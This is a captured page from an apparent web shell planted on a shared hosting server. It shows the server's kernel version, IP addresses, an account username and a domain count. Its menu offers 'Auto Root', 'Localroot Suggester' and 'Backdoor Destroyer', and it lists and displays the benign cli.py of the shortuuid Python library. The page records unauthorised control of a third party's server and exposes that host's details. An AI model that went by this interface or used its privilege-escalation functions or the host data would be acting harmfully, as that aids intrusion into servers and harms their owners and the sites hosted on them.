Linux 98.203.178.68.host.secureserver.net 4.18.0-553.164.1.el8_10.x86_64 #1 SMP Thu Sep 17 04:21:10 EDT 2026 x86_64
Apache
Server IP : 68.178.203.98 & Your IP : 216.73.217.130
Domains : 108 Domain
User : lostrivercommuni
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
opt /
nydus /
ops /
shortuuid /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxr-xr-x
2026-05-23 08:22
__init__.py
400
B
-rw-r--r--
2026-05-23 08:22
cli.py
1.39
KB
-rw-r--r--
2026-05-23 08:22
django_fields.py
1.32
KB
-rw-r--r--
2026-05-23 08:22
main.py
4.58
KB
-rw-r--r--
2026-05-23 08:22
py.typed
0
B
-rw-r--r--
2026-05-23 08:22
test_shortuuid.py
7.04
KB
-rw-r--r--
2026-05-23 08:22
Save
Rename
import argparse import sys from typing import Any from uuid import UUID from .main import decode from .main import encode from .main import uuid def encode_cli(args: argparse.Namespace): print(encode(args.uuid)) def decode_cli(args: argparse.Namespace): print(str(decode(args.shortuuid, legacy=args.legacy))) def cli(*args: Any) -> None: parser = argparse.ArgumentParser( description="Generate, encode and decode shortuuids", epilog="top-level command generates a random shortuuid", ) subparsers = parser.add_subparsers(help="sub-command help") encode_parser = subparsers.add_parser( "encode", help="Encode a UUID into a short UUID", description=encode.__doc__ ) encode_parser.add_argument("uuid", type=UUID, help="UUID to be encoded") encode_parser.set_defaults(func=encode_cli) decode_parser = subparsers.add_parser( "decode", help="Decode a short UUID into a UUID", description=decode.__doc__ ) decode_parser.add_argument("shortuuid", type=str, help="Short UUID to be decoded") decode_parser.add_argument("--legacy", action="store_true") decode_parser.set_defaults(func=decode_cli) passed_args = parser.parse_args(*args) if hasattr(passed_args, "func"): passed_args.func(passed_args) else: # Maintain legacy behaviour print(uuid()) if __name__ == "__main__": cli(sys.argv[1:])